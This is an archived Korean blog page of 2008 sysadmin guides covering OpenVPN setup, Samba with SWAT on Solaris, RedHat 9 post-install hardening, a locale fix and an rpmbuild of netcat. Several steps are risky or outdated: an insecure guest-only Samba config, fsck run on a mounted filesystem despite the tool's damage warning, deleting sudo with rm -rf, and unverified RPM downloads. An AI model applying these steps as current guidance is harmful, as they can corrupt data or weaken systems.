'OS'에 해당되는 글 167건

  1. 2008.03.03 OpenVPN 사용하기
  2. 2008.02.28 samba
  3. 2008.02.27 REDHAT 9 설치후 기본 셋팅
  4. 2008.02.27 redhat 9.0 에서 한글이 깨질때..조치
  5. 2008.02.11 [LINUX] rpmbuild
  6. 2008.02.11 yum
  7. 2008.02.11 [LINUX] bonding
  8. 2007.12.07 VMSTAT
  9. 2007.11.21 iptables 추가
  10. 2007.11.21 iptables
OS/LINUX2008. 3. 3. 20:01
반응형

1. 개요

   얼마 전에 누가 OpenVPN을 사용해 보라고 해서, 셋팅을 해서 사용해 해본 결과 쓸만 하고 또

   GPL 라이센스라 무료로 사용할 수 있고 한번도 뚤리적이 없을 정도로 안전하다고 합니다.

   사용법도 간단하여 원격 작업을 위한 터널을 만들어도 좋을 것 같아 여러분들과 공유 하고 싶어

   간단하게 사용법을 정리 하였습니다.

   원론적인 것 보다 실제로 사용 하는데 필요한 부분만 간단하게 정리 하였구요, 많이 활용하시기

   바랍니다.

 

   OpenVPN 사이트 ( http://openvpn.net )

 

 

 2. 설치

   1) FreeBSD

      -  커널 빌드 할때 아래의 옵션을 넣어 주세요. (Generic 커널에는 들어 있을 것 같음)

         ------------------

         device          tun
         device          tap

         ------------------

      - Ports를 이용 하여 설치

         /usr/ports/security/openvpn 에서 make install

      - 설치후 생성 되는 디렉토리/파일

        /usr/local/bin/openvpn  --> 실행파일

        /usr/local/share/doc/openvpn/easy-rsa  --> 키 생성을 하기 위한 디렉토리

        /usr/local/etc/rc.d/openvpn.sh  --> openvpn 구동을 위한 파일

 

   2) Linux (Fedora Core 3 에서 테스트)

     - 다운로드

        http://dag.wieers.com/packages/openvpn/
        --> openvpn-2.0.2-1.1.fc3.rf.i386.rpm (버전에 맞는 것을 다운 받음)

     - 설치

        rpm -Uvh openvpn-2.0.2-1.1.fc3.rf.i386.rpm

     - 설치후 생성 되는 디렉토리/파일

       /usr/sbin/openvpn

       /usr/share/doc/openvpn/easy-rsa

 

   3) Windows

      - 다운로드

        http://openvpn.net  에서  openvpn-2.0.5-install.exe 다운로드

        윈도우에서 사용 할 때는 그냥 openvpn 을 사용 하는 것 보다 OpenVPN-GUI 를 사용

        하면 구동 하기가 더 편리 합니다.

        (홈페이지에 Graphical User Interface 에 들어가면 다양한 종료가 있습니다.)

      - 설치

        일반적인 위도우 응용프로그램과 같이 설치 하면 됩니다.

      - 설치후 생성 되는 것

        TAP-Win32 Adapter 가 생깁니다. (바탕화면의 "내 네트워크 환경" 에서 속성 보면 됨)

        C:\Program Files\OpenVPN --> OpenVPN관련 파일 생성됨

     

 

   4) 기타

       디렉토리 구조만 조금씩 다른 뿐이지 어떤 OS 이던 똑 같은 구조로 동작 합니다.

       기타 다른 OS에서도 특별한 문제 없이 사용 할 수 있을 것입니다.

       http://openvpn.net/install.html   (여기를 참조 하시기 바랍니다.)

 

    *  특별히 다른 것은 없지만 이해를 돕기 위해 다음의 환경 셋팅 등에서도 3개의

       OS 위주로 설명을 합니다.

      

 

3. 환경 셋팅

  1) 설정 파일

     a. FreeBSD

        - 설정파일과 키값이 저장될 디렉토리 생성 

          # mkdir /usr/local/etc/openvpn

          # mkdir /usr/local/etc/openvpn/keys

        - /usr/local/etc/openvpn/openvpn.conf   (설정파일)

           다른 OS도 동일하게 생성 하므로 아래의 키생성에서 같이 설명함

           서버와 클라이언트에 따라서 다르게 설정함

      

        - 구동을 위한 환경 설정

          /etc/rc.conf 에 다음을 추가

           ----------------------------------------------------------

            openvpn_enable="YES"
            openvpn_if="tap"
            openvpn_configfile="/usr/local/etc/openvpn/openvpn.conf"
            openvpn_dir="/usr/local/etc/openvpn"

           ----------------------------------------------------------

 

        -  실행방법

           # cd /usr/loal/etc/rc.d

           # ./openvpn.sh start

 

    b. Linux

        - 설정파일과 키값이 저장될 디렉토리 생성 

          # mkdir /etc/openvpn

          # mkdir /etc/openvpn/keys

 

        - 구동을 위한 환경 설정

          # chkconfig --list | grep openvpn  --> 확인한 후

          # chkconfig --level 3 openvpn on

 

        - 실행

          # /etc/init.d/openvpn start

 

    c. Windows

       - 디렉토리 생성

         C:\Program Files\OpenVPN\config

         C:\Program Files\OpenVPN\config\keys

 

      -  실행 (cmd  쉘에서 실행)

         cmd> openvpn --config openvpn.conf

         * OpenVPN-GNU 를 설치 하면 트레이에서 시작하고 종료 할 수 있습니다.

            (OpenVPN 홈페이지에서 좌측에 "Graphical User Interface" 로 들어가서 받으세요.)

 

  2) 설정 파일 생성

     - 서버용 (openvpn.conf)

       ----------------------------------------------------------------------------------

       dev tap
       proto tcp-server
       ifconfig 192.168.0.1 255.255.255.0   --> 서버의 vpn  주소
       verb 1
       mode server
       tls-server
      ca              keys/ca.crt
      cert            keys/server.crt
      key             keys/server.key
      dh              keys/dh1024.pem
      ifconfig-pool   192.168.0.101   192.168.0.200   --> 클라언트로 DHCP로 받을때 IP범위
      user    root
      group   wheel
      #inactive       600
      client-to-client

     ------------------------------------------------------------------------------------

 

 

    - 클라이언트용 (openvpn.conf)

      -----------------------------------------------------------------------------------

       remote 100.100.100.1     --> openvpn 서버 주소
       dev tap                       --> 사용 장치명
       proto tcp-client
       ifconfig 192.168.0.10 255.255.255.0     --> IP를 고정 할때 사용,

       verb 2                                                 없으면 DHCP방식으로 서버에서 받음
       tls-client
       ca      keys/ca.crt        --> 아래의 3개는 서버에서 생성 된 것을 받아와야
       cert    keys/client.crt
       key     keys/client.key    

     ------------------------------------------------------------------------------------

 

 

  3) 키 생성

     - 아래의 디렉토리로 이동

        # cd /usr/local/share/doc/openvpn/easy-rsa  (FreeBSD)

        # cd /usr/share/doc/openvpn/easy-rsa (Linux)

 

     - vars 수정 (아래와 같이 적당히 수정, 중요한 것은 동일한 값을 가져야 한다는 것임)

       ----------------------------------------------------------------------------

        export KEY_DIR=/usr/local/etc/openvpn/keys
        export KEY_COUNTRY=KO
        export KEY_PROVINCE=NA
        export KEY_CITY=SEOUL
        export KEY_ORG="VPN-TEST"
        export KEY_EMAIL="vpn-admin@vpn-test.com"

       -----------------------------------------------------------------------------

 

     - 서버측의 키 생성 (bash 쉘에서 실행 하기 바람)

       # . vars

       # ./clean-all  --> index 생성을 위해서 함
       # ./build-ca   --> 변경 되면 모든 인증서가 파기되어야 함으로 최초 한 번만 실행
       # ./build-dh   --> 랜덤암호화를 위해 생성
       # ./build-key-server server     


      - 클라이언트 용 key 생성

        # . vars
        # ./build-req <사용자ID>   --> 키 생성
        # ./sign-req <사용자ID>    --> 키에 대하여 서명

 

      - build-req 실행 예

        -----------------------------------------------------------------------------------

         # ./build-req client

        Country Name (2 letter code) [KO]:
        State or Province Name (full name) [NA]:
        Locality Name (eg, city) [SEOUL]:
        Organization Name (eg, company) [VPN-TEST]:
        Organizational Unit Name (eg, section) []:
        Common Name (eg, your name or your server's hostname) []:client-test
        Email Address [vpn-admin@vpn-test.com]:

        Please enter the following 'extra' attributes
        to be sent with your certificate request
        A challenge password []:
        An optional company name []:

       -----------------------------------------------------------------------------------

      주의 사항 : 

          Common Name 은 로그 분석시 구별 되는 값 임으로 알 수 있는 이름으로 설정함

          Organizational Unit Name 까지 동일한 값으로 해야 인증키가 먹음

          challenge password 는 PPP인증등에서 사용 됨으로 설정 하지 않음

       

      -  키를 클라이언트로 복사 (client 라는 이름으로 생성 했을때)

        /usr/local/etc/openvpn/key 아래에 생성된 3개의 파일을 복사

        ca.crt ,      client.crt ,      client.key 

        * 사용자 키는 서버에서 생성해서 클라이언트로 복사해야 함, 따라서 모든 키생성은

           서버에서 해야 함.

 

 

4. 전체 구성

 

                   

 

 

  - 서버로 접속을 하여 키 인증등을 거쳐서 상호 VPN 터널을 완성 시킴

  - VPN서버가 방화벽 내부에 있다면 TCP1194로의 연결 만큼을 허용해 주어야 함

 

 

5. 기타 참고 사항

   - 물리적인 서버를 바꾸려면

     /usr/local/etc/openvpn/keys 키가 들어 있는 디렉토리를 통체로 옮겨서 사용 하면

     클라이언트의 키를 다시 발급 하지 않고 사용 할 수 있음

   - 기타 다양한 활용에 대해서는 openvpn.net 을 보면 많이 도움이 됩니다.

 

작성 : 마그마(필명) putter@naver

반응형

'OS > LINUX' 카테고리의 다른 글

rpm으로 커널 업그레이드 하기  (0) 2008.03.12
[linux] CentOS4 XManager 연결 가능하게 하기  (0) 2008.03.10
REDHAT 9 설치후 기본 셋팅  (0) 2008.02.27
redhat 9.0 에서 한글이 깨질때..조치  (0) 2008.02.27
[LINUX] rpmbuild  (0) 2008.02.11
Posted by [PineTree]
OS/SOLARIS2008. 2. 28. 22:31
반응형

출처

http://solarisschool.com/tip/view.html?board=tip1&no=17879&start=0&sselect=&mode=&qry_string=

 

 

솔라리스에서 삼바 서버는 지원한다.
이 문서는 선에서 지원하는 삼바서버를 참고로 한다. 소스로 삼바를 설치한다면
문서가 조금 달라질 것이다.


1. 삼바 서버 기본 환경

pkginfo 명령어로 삼바 서버가 설치되어 있는지 확인해보자.

[root@/root] # pkginfo |grep samba
system SUNWsmbac samba - A Windows SMB/CIFS fileserv
er for UNIX (client)
system SUNWsmbar samba - A Windows SMB/CIFS fileserv
er for UNIX (Root)
system SUNWsmbau samba - A Windows SMB/CIFS fileserv
er for UNIX (Usr)

위와 같이 나온다면 당연히 설치되어 있다.

이제 계획을 잡자.
삼바 서버로 접속하는 외부 클라이언트에게 어떤 계정을 줄 것이며, 이 계정으
로 작동할 것인가?
삼버 서버의 데이터로는 어디로 할것인가? 이다.

우선 외부에서 삼바 서버로 접속하는 클라이언트에게 samba라는 계정을 주자
그리고 이 계정은 sambagroup라는 그룹으로 묶자
왜? 삼바 데이터 서버는 여러개 만들 수 있다. 그리고 각 데이터 서버로 접속
하는 클라이언트에 다른 계정을 줄 수 있다. 그러니 그룹으로 관리해주면
편할것이다.

간단히 삼바 서버의 데이터 저장 등으로 사용할 디렉토리를 /export/home/samba
로 잡자.

정리해보자

삼바 서버 계정 : samba
삼바 서버 그룹 : sambagrp
삼바 서버 디렉토리 : /export/home/samba
윈도우 작업 그룹 : MSHOME
(이것을 확인하는 방법은 내컴퓨터-> 속성 누르면 시스템 등록 정보가 뜬다
일반, 컴퓨터 이름, 하드웨어.. 등등 많은 메뉴가 있다 이중 컴퓨터 이름에
들어가 본다면
전체 컴퓨터 이름: canard.
작업 그룹 : MSHOME
로 등록되어 있다.)

그리고 확인해보자. 클라이언트로 사용할 컴퓨터에서 삼바 서버가 돌아가는지
확인해보자. 당연히 삼바 서버에서 서버가 작동하지 않으니 않나올 것이다.
window xp에서 확인하는 방법이다.

네트워크 -> 작업 그룹 컴퓨터 보기
해보면 작업 그룹 컴퓨터에 삼바 서버가 전혀 보이지 않는다.


2. 삼바 서버 기본 작업

자 삼바 서버 돌리기 전에 우리는 삼바 서버를 어떻게 구성할 것이며 어떤 계
정을 사용할 지 계획을 세웠다. 이에 맞춰서 작업을 해보자.
우선 그룹과 계정 및 삼바서버에서 사용할 데이터 디렉토리를 만들어야할 것
이다. 이때 데이터 디렉토리는 계정을 만들면서 사용자 홈디렉토리를 사용하면
편할 것이다. (그래서 /export/home/samba)를 사용했따.

[root@/root] # groupadd sambagrp
[root@/root] # useradd -m -d /export/home/samba -G sambagrp -s /bin/false samba
64 blocks
[root@/root] #

useradd의 옵션은 잘 아리라 생각한다. 그래서 다른 설명은 하지 않는다. 그리
고 이곳에서 보안을 위해서 쉘을 /bin/false(-s /bin/false) 사용해서 일반 접
속을 막는다.

자 이것으로 기본 설정은 끝이 났는가? 아니다. 몇가지 설정이 더 남았다.
/etc/hosts 파일과 /etc/lmhosts 파일에 삼바 서버에 접속할 클라이언트를 삽입
한다.

클라이언트를 살펴보면
211.175.131.32 의 IP를 가지며 netbios의 이름으로 canard를 가진다. 그리고
작업 그룹으로 MSHOME를 가진다. 이곳 설정에서는 약간 난이도를 높여서 삼바
서버에서 클라이언트 서버에서 붙이는 이름과 netbios 이름을 다르게 설정해
서 테스트 해보자.

[root@/root] # cat /etc/hosts
127.0.0.1 localhost
211.175.147.154 ns loghost
211.175.131.32 www1
211.175.131.33 www2
이 서버에서는 클라이언트의 이름을 www1으로 줬다.

다음은 /etc/lmhosts 파일이 남았다. 이 파일은 무엇이냐면 netbios 이름과
/etc/hosts 파일에서 설정해 놓은 이름과 매칭 시키는 설정 파일이다.
삼바 서버에서는 www1 컴퓨터를 가르치지만 netbios에서의 이름은 다를 수있
으며 같을 수도 있다.

[root@/root] # cat /etc/lmhosts
localhost ns
www1 canard
www2 test

자 첫 번째 이름은 서버에서 지정해 준 이름이며 두번째 이름은 netbios 이름
이다. 즉 www1은 netbios 이름으로 canard를 뜻한다.

이제 기본적인 설정은 끝이 났다. 이제 삼바 설정 파일의 설정으로 삼바 서버
가 올바로 작동하는 것인가? 아니면 올바로 작동하지 않을 것인가가 결정된다.


3. SWAT 작동시키기

우리는 삼바 서버의 설정을 편하게 하고 싶다. 이것은 사람의 욕망이라면 당연
한 반응이다. (내가 볼 때는 SWAT로 설정하거나 손으로 작업하거나 그게 그거
같다. 설정의 어려움은 대략 비슷하다.)

사람들은 manpage를 뒤져보지 않는 경향이 많다. 그러나 우리는 필히 맨패이지
를 보고 확인해야한다. 이유는? 맨페이지를 뒤져보면 활용법 및 설정이 어느
정도 선까지는 자세히 설명되어 있기 때문이다.

잡설은 넘어가고 위에서 필요로 하는 패키지가 모두 설치되어 있다면 삼바 서
버에 관련된 파일들이 모두 설치되어 있다. 당연히 swat로 설치되어 있다.
확인해보자.

[root@/root] # ls /usr/sfw/sbin/
nmbd smbd tcpd tcpdmatch
safe_finger swat tcpdchk try-from
[root@/root] #

위의 명령어를 사용해보니 nmbd smbd swat 파일이 모두 있다.

그리고 shell> man swat 명령어를 사용해보니 swat를 사용하기 위해서는 2가지
설정을 해줘야 한다고 나온다.
참고로 man swat 않된다고 하지 말자
[root@/root] # man swat
No manual entry for swat.
[root@/root] # export MANPATH=/usr/man:/usr/sfw/man
[root@/root] #
환경변수 MANPATH를 설정 안해줘서 그렇다.

맨패이지 중 중요한 부분을 발췌했다.

You need to edit your /etc/inetd.conf and /etc/services to
enable SWAT to be launched via inetd.

In /etc/services you need to add a line like this:

swat 901/tcp

In /etc/inetd.conf you should add a line like this:

swat stream tcp nowait.400 root /usr/sfw/sbin/swat swat

One you have edited /etc/services and /etc/inetd.conf you
need to send a HUP signal to inetd. To do this use kill -1
PID where PID is the process ID of the inetd daemon.

봐서 알겠지만 /etc/services 파일에
swat 901/tcp
를 적어 넣으라고 나와있다

그리고 /etc/inetd.conf 파일에
swat stream tcp nowait.400 root /usr/sfw/sbin/swat swat
를 적어 넣으라고 나왔다.

그러면 이제 inetd 서버스를 재 시작해보자. 여러 방법이 있으니 알아서..
(이런 것까지는 알갈쳐준다.)

이제 삼바 서버에서 넷스케이프를 띄워서
http://localhost:901 의 주소를 사용해본다.

잘나온다. 이제 노력과 끈기로 자신의 시스템에 맞는 설정을 찾아야한다.

그리고 우리는 삼바 시작 스크립트를 살펴보자.
shell> vi /etc/init.d/samba
case "$1" in
start)
[ -f /etc/sfw/smb.conf ] || exit 0

/usr/sfw/sbin/smbd -D
/usr/sfw/sbin/nmbd -D
;;

위에서 보다 싶이 설정 파일은 /etc/sfw/smb.conf이다. SWAT를 작성하면 이곳
에 설정 파일이 만들어 질 것이다.
그리고 서버 시작시 삼바 서버가 작동하도록 스크립트를 활성화 시키자.


4. 삼바 설정 파일

사실 노력과 끈기로 삼바 설정파일을 구성하는 것은 상당히 힘들다. 그리고
설정의 하나하나의 뜻을 알아야 삼바 설정을 마무리 할 수 있다.
삼바 설정에 관련된 내용을 모두 적으면 무척이나 내용이 길어질 수 있다.
그래서 보안이 아~주 허술하지만 작동은 하는 설정을 예시한다.

shell> vi /etc/sfw/smb.conf
# Global parameters
[global]
workgroup = MSHOME
server string = nimp.samba
security = SHARE
guest account = samba
hosts allow = 211.175.131.32

[samba]
comment=SambaData
path = /export/home/samba
guest only = Yes
guest ok = Yes
read only = No

[global] 부분은 삼바에 접속하는 클라이언트에 해당하는 내용이다.
이후 내용은 삼바에서 데이터를 관리하는 부분에 관련된 설정이다.
[global] 부분은 네트워크 -> 작업 그룹 컴퓨터 보기에서 보여지는
내용이며 이후 내용은 작업 그룹 컴퓨터에서 삼바 서버로 접속시 보여지는
부분이다.
간단히 global 부분에서 설명하자면
클라이언트의 workgroup는 MSHOME의 작업그룹이며 보여지는 이름은 nimp.samba
이다. 직접확인해보면
canard 컴퓨터 옆에 nimp.samba(Ns)라는 컴퓨터가 하나더 보일 것이다. 이것이
삼바 서버로 작동하는 컴퓨터이다.
그리고 보안 방식으로는 SHARE (공유 방식)을 사용했으며, 삼바에 접속하는
클라이언트에게는 samba라는 계정을 사용하게 설정 해 놓은 것이다. 그리고
접속 가능한 클라이언트는 211.175.131.32 IP를 가지는 클라이언트 하나이다.
좀더 많은 클라이언트가 가능하게 하려면 /를 사용한다.

hosts allow = 211.175.131.32 192.168.0.1/24

이상이다. 이렇게 한다면 삼바 서버는 원할히 작동할 것이다. 자세히 설명을
읽어봐야 삼바 설정을 어떻게 해야하며, 클라이언트에 따라 어떻게 설정해야
하는 것인가를 잘 알 수 있다.

참고로 더 자세한 내용을 살펴보려면 삼바 홈페이지에 접속해서 설정에 들어
가는 옵션을 하나하나 설정해서 서버에 적용시키자. swat를 사용해도 된다.
그리고 위의 에제는 로그도 남지지 않는 아~주 보안에 허술한 설정이다. 작동
은 하지만 보안을 위해서 그대로 사용하는 것은 금물이다.

그리고 http://dosc.sun.com에 접속해서 삼바를 설정하는 것을 참고하자.
위의 내용은 리눅스에서도 적용이 가능한 내용이다. 그러나 솔라리스에서는
조금 다르게 작동할 수 있도록 할 수 있다. docs.sun.com의 자료를 살펴보면
다르게 설정할 수 있는 내용을 에시해 놓았으니, 자세히 살펴보자.
솔라리스 문서가 그렇듯, 상당히 허술하면서, 또한 상당히 복잡하다.

 

반응형

'OS > SOLARIS' 카테고리의 다른 글

SWAT SVM RAID  (0) 2009.05.25
미러 디스크 장애시 디스크 교체하기  (0) 2009.05.07
VMSTAT  (0) 2007.12.07
솔라리스에서 xmanager 접속을 차단하거나, 통제하기  (0) 2007.11.17
sun ipmp 관련 정보 사이트들  (0) 2007.08.28
Posted by [PineTree]
OS/LINUX2008. 2. 27. 00:48
반응형

1. ftp 보다 좋은 ncftp 설치

서버 작업을 많이하면, ftp를 많이 사용한다. 하지만 ftp 보다 사용하기 편한 ncftp를 알면 ftp 쓰는 것이 그렇게 불편하게 느껴질 수 가 없다. 난 처음부터 ncftp를 사용해 왔다. RH9에서는 기본설치가 안되어 따로 패키지를 받아서 설치하겠다. 물론 배포판 CD에 있지만, 넣고 마운트하고 어쿠 어쿠 귀찮은 것~~ 간단하게 받아서 설치 할 것이다.


wget http://ftp.superuser.co.kr/pub/redhat/9/RPMS/ncftp-3.1.5-4.i386.rpm

위와같은 명령을 입력하면 받아진다.^^ 


rpm -Uvh ncftp-3.1.5-4.i386.rpm

이렇게 하면 설치하고,


rm -rf ncftp-3.1.5-4.i386.rpm

이렇게 해서 원본 파일을 지워 버린다.^^ 이렇게 설치를 하면 끝이다. 아주 쉽다^^ 이제


ncftp 의 대표적인 기능 몇가지만 알아 보겠다.


[doly@doly ~]$ ncftp ftp.superuser.co.kr

NcFTP 3.0.3 (April 15, 2001) by Mike Gleason (ncftp@ncftp.com).

Copyright (c) 1992-2001 by Mike Gleason.

All rights reserved.

Connecting to ftp.superuser.co.kr...                                                                       

ProFTPD 1.2.8 Server (ProFTPD Default Installation) [su21.nicekorea.co.kr]

Logging in...                                                                                              

Anonymous access granted, restrictions apply.

Logged in to ftp.superuser.co.kr.                                                                          

ncftp / >


위와같이 간단하게 쳐 주면, 무명(anonymous) 로긴이 가능하다.

물론 -u 옵션을 주면 사용자로긴이 가능하다.

ncftp -u doly ftp.superuser.co.kr


그리구 파일이나, 디렉토리이름을 모두 칠 필요 없이 Linux 터미널 처럼 몇자 치고 Tab 키를 누르면, 자동완성이 된다. 이 기능이 아주 좋기 때문에 난 이 프로그램을 쓴다.

전송기능에 있어 다음과 같이 상황이 나온다.

ncftp /apache > get httpd-2.0.49.tar.gz

httpd-2.0.49.tar.gz:                                     5.65 MB  299.92 kB/s 


이런 이유들 때문에 ncftp를 쓴다. ncget , ncput 등의 명령어도 제공된다. 그건 잘 쓰지 않지만 좋은 프로그램들이다.



2. MAN 페이지에서 한글이 깨어진다면.

** 참고 : 아래의 설정은 멘 페이지의 한글이 깨어지는 것을 보안하기위한 설정입니다. 아래 패키지를 설치한다고 해서 콘솔에서 한글이 안 깨지는 것은 아닙니다. 콘솔에서 한글이 깨어지지 않게 하려면, Unicon등 콘솔에서 한글을 지원하는 특별한 프로그램을 커널 컴파일 할 때 넣어야 합니다. 서버를 운영하시는 대부분의 사람들은 콘솔에서 한글 쓸일이 거의 없기 때문에 그 부분은 다루지 않겠습니다.


아마 RH9를 설치한 모든 사람들이 격을 것이다. 멘 페이지에 가끔 한글로 된 것을 볼 수 있는데, 100% 깨어질 것이다.


이렇게 알 수 없는 &&& 문자들로 이루어질 것이다.

이런 경우 다음 패키지를 깔면 문제가 없다.^^


[root@doly root]# wget http://ftp.superuser.co.kr/pub/redhat/9/less-378-8KR.i386.rpm

--21:33:50--  http://ftp.superuser.co.kr/pub/redhat/9/less-378-8KR.i386.rpm

           => `less-378-8KR.i386.rpm'

Resolving ftp.superuser.co.kr... 완료.

Connecting to ftp.superuser.co.kr[210.114.223.221]:80... connected.

HTTP 요청을 보냅니다, 서버로부터의 응답을 기다림...200 OK

길이:   100,767 [audio/x-pn-realaudio-plugin]

100%[=================================================================>] 100,767      289.43K/s    ETA 00:00

21:33:50 (289.43 KB/s) - `less-378-8KR.i386.rpm'가 보존되었습니다 [100767/100767]

[root@doly root]# rpm -Uvh less-378-8KR.i386.rpm

준비 중...                  ########################################### [100%]

1:less                   ########################################### [100%]

[root@doly root]# rm -rf less-378-8KR.i386.rpm


이렇게 서치가 끝나고 실행해 보면 정상적인 결과를 볼 수 있다.



3. rpm으로 커널 업그래이드

2004년에 커널 버그가 엄청 많이 보고 되었다. 지금까지 나온 커널을 패치한 rpm 버전이 있다. 이것을 설치한다. 물론 조금 더 공부했다며, 최신 버전 커널을 컴파일 해서 설치하는 것도 좋지만, 시간이 너무 오래 걸리고, 알아야할 것도 많기 때문에 지금까지 나온 버그를 모두 고친 커널을 rpm 으로 설치한다.

wget http://ftp.superuser.co.kr/pub/redhat/9/update/kernel-smp-2.4.20-30.9.i686.rpm

wget http://ftp.superuser.co.kr/pub/redhat/9/update/kernel-2.4.20-30.9.i686.rpm

rpm -Uvh kernel-smp-2.4.20-30.9.i686.rpm

rpm -Uvh kernel-2.4.20-30.9.i686.rpm

rm -rf kernel-*.rpm

cpu 가 2개라면 smp 커널을 설치해야한다. 하지만 cpu가 하나라면, smp 는 설치하지 말아두 된다.^^



4. badblock 채크 및 마킹

설치할 때도  배드블락을 채크했을 것이다. 그렇지만 어디에 배드블럭이 있고 어떻게 되었는지에 대한 정보를 얻을 수 없다. 그래서 다시 배드블락을 채크할 것이다. 그리고 만약 발견된다면, 파일 시스템 수준에서 그 블락을 쓰지 못하게 마킹을 할 것이다.


[root@doly root]# badblocks -sv /dev/hda11

Checking for bad blocks in read-only mode

From block 0 to 2096451

Checking for bad blocks (read-only test): 2096451/  2096451

2096449

2096450

done                       

Pass completed, 3 bad blocks found.


위와같이 3개의 배드블럭이 발견되었다면, 다음 명령어로 아쉬운데로 마킹을 한다. (fsck 명령의 -c 옵션)

[root@doly root]# fsck.ext3 -cvf /dev/hda11

e2fsck 1.32 (09-Nov-2002)

/dev/hda11 is mounted. 

WARNING!!!  Running e2fsck on a mounted filesystem may cause

SEVERE filesystem damage.


Do you really want to continue (y/n)? yes

/123: recovering journal

Checking for bad blocks (read-only test): done                       

Pass 1: Checking inodes, blocks, and sizes

Pass 2: Checking directory structure

Pass 3: Checking directory connectivity

Pass 4: Checking reference counts

Pass 5: Checking group summary information

/123: ***** FILE SYSTEM WAS MODIFIED *****

/123: ***** REBOOT LINUX *****

   78868 inodes used (30%)

      98 non-contiguous inodes (0.1%)

         # of inodes with ind/dind/tind blocks: 3503/14/0

  325956 blocks used (62%)

       0 bad blocks

       0 large files


   53903 regular files

    3890 directories

    2522 character device files

   15884 block device files

       1 fifo

    4162 links

    2658 symbolic links (2658 fast symbolic links)

       1 socket

--------

   83021 files



이렇게 작업을 하였다면, 어느정도 안심해두 된다고 생각한다^^;



5. tcp_wapper 설정으로 기본 보안 설정

물론 처음 설치시 iptabls(방화벽)을 구축했지만, tcpd를 사용하는 데몬들중 허용하는 ip에서만 접근 가능하게 설정 할 것이다.


echo "ALL:ALL" >> /etc/hosts.deny


이런 간단한 명령어로 모든 서비스를 막는다. 물론 막히는 서비스는 몇가지 안 된다^^ 다 열거하며 힘드니~~

그런다음 항상 허용할 데몬들과 허용할 ip를 등록한다.


echo " ipop3d : ALL

sendmail : ALL

ALL : 192.168.0." >> /etc/hosts.allow


위와 같이 입력하여, pop3 서버와 sendmail 은 모든 ip에 대해서 허용하고, 192.168.0.XXX에서 접근 하면 모든 서비스를 허용하도록 한다. 위와 같이 설정하는 것은 telnet 및 ssh에 가장 영향을 많이 받기 때문에 기본 보안설정으로 사용한다. 만약 유동 ip에서 접속한다면 이런 설정이 무의미 하다.^^; ip가 변해서 잘못하면 서버에 접속하지 못하는 불상사가 발생할 수도 있다.

6. ssh 접속시 root 접속 못하게 설정

ssh에서 root로 바로 접속해서 사용하면 너무 위험하다. 그래서 일반계정으로 접속한 다음 su - 명령어로 root 권한을 획득한 다음 작업하는 것이 좋다. 다음과 같이 간단하게 설정한다.

/etc/ssh/sshd_config 파일을 편집해서 다음과 같이 설정한다.

    PermitRootLogin no

이렇게 하구 sshd를 재시작한다.

/etc/rc.d/init.d/sshd restart



7. su 명령어 특정 사용자만 실행 가능하게 설정

우선 root 권한으로 명령을 실행할 수 있는 명령어 sudo를 삭제한다.

[root@doly bin]# rm -rf /usr/bin/sudo

아래와같이 권한 설정을 바꾸고,

chmod 4750 /bin/su

chown root:wheel /bin/su

소유그룹을 wheel로 한다. 그런 다음

/etc/group 파일을 열어 wheel 그룹에 su 명령어를 쓸 사용자들을 등록한다.

(예 : wheel:x:10:root,doly)



8. 자동 시간 설정

 자동으로 정확한 시간을 맞추는 것은 의외로 간단하다. 다음과 같이한다.

[root@doly bin]# crontab -e

05 00 * * * '/usr/bin/rdate -s time.bora.net && /sbin/clock -w'

위와 같은 내용을 복사해서 넣으면 된다.  위와같이 설정해 두면, 매일 매일 00시 05분에 time.bora.net에 접속하여 시간을 동기화한다.^^

반응형

'OS > LINUX' 카테고리의 다른 글

[linux] CentOS4 XManager 연결 가능하게 하기  (0) 2008.03.10
OpenVPN 사용하기  (0) 2008.03.03
redhat 9.0 에서 한글이 깨질때..조치  (0) 2008.02.27
[LINUX] rpmbuild  (0) 2008.02.11
yum  (0) 2008.02.11
Posted by [PineTree]
OS/LINUX2008. 2. 27. 00:44
반응형
한글 사용을 없앤다.
/etc/profile
export LANG=en_US

한글을 사용한다.
/etc/profile
export LANG=ko

레드햇 9.0에서 man 명령으로 메뉴얼 참고시 한글이 ???로 깨져 보일 때
1. http://ftp.superuser.co.kr/pub/redhat/9/ 사이트로 접속
2. less-378-8KR.src.rpm 파일을 다운로드
3. rpm -Uvh less-378-8KR.src.rpm을 수행
/etc/profile
export JLESSCHARSET=euc

파일을 수정 후 적용
# source prof
반응형

'OS > LINUX' 카테고리의 다른 글

OpenVPN 사용하기  (0) 2008.03.03
REDHAT 9 설치후 기본 셋팅  (0) 2008.02.27
[LINUX] rpmbuild  (0) 2008.02.11
yum  (0) 2008.02.11
[LINUX] bonding  (0) 2008.02.11
Posted by [PineTree]
OS/LINUX2008. 2. 11. 23:25
반응형

rpmbuild ;

 

src.rpm 파일을 사용하여 자신에 시스템에 맞는 rpm 을 배포판에 맞는 위치 (/usr/src/redhat/RPMS)에 생성한다.

 

SRPM 은 http://isoredirect.centos.org/centos/4/os/SRPMS/ 와 같은 곳에서 구할 수 있다.

 

 

 

[STEP1] SRC RPM 설치하기.

 

 

rpmbuild --rebuild nc-1.10-22.src.rpm

 

 

nc-1.10-22.src.rpm(을)를 설치합니다
경고: buildcentos 사용자가 존재하지 않습니다 - root를 이용합니다
경고: buildcentos 그룹이 존재하지 않습니다 - root를 이용합니다
실행 중(%prep): /bin/sh -e /var/tmp/rpm-tmp.46458
+ umask 022
+ cd /usr/src/redhat/BUILD
.

.

.

+ cd nc
+ DOCDIR=/var/tmp/nc-root/usr/share/doc/nc-1.10
+ export DOCDIR
+ rm -rf /var/tmp/nc-root/usr/share/doc/nc-1.10
+ /bin/mkdir -p /var/tmp/nc-root/usr/share/doc/nc-1.10
+ cp -pr README Changelog scripts /var/tmp/nc-root/usr/share/doc/nc-1.10
+ exit 0
Requires(rpmlib): rpmlib(CompressedFileNames) <= 3.0.4-1 rpmlib(PayloadFilesHavePrefix) <= 4.0-1
Requires: /bin/sh libc.so.6 libc.so.6(GLIBC_2.0) libc.so.6(GLIBC_2.2)
파일 처리 중: nc-debuginfo-1.10-22
Requires(rpmlib): rpmlib(CompressedFileNames) <= 3.0.4-1 rpmlib(PayloadFilesHavePrefix) <= 4.0-1
Checking for unpackaged file(s): /usr/lib/rpm/check-files /var/tmp/nc-root
작성: /usr/src/redhat/RPMS/i386/nc-1.10-22.i386.rpm
작성: /usr/src/redhat/RPMS/i386/nc-debuginfo-1.10-22.i386.rpm
실행 중(%clean): /bin/sh -e /var/tmp/rpm-tmp.77747
+ umask 022
+ cd /usr/src/redhat/BUILD
+ cd nc
+ rm -rf /var/tmp/nc-root
+ exit 0
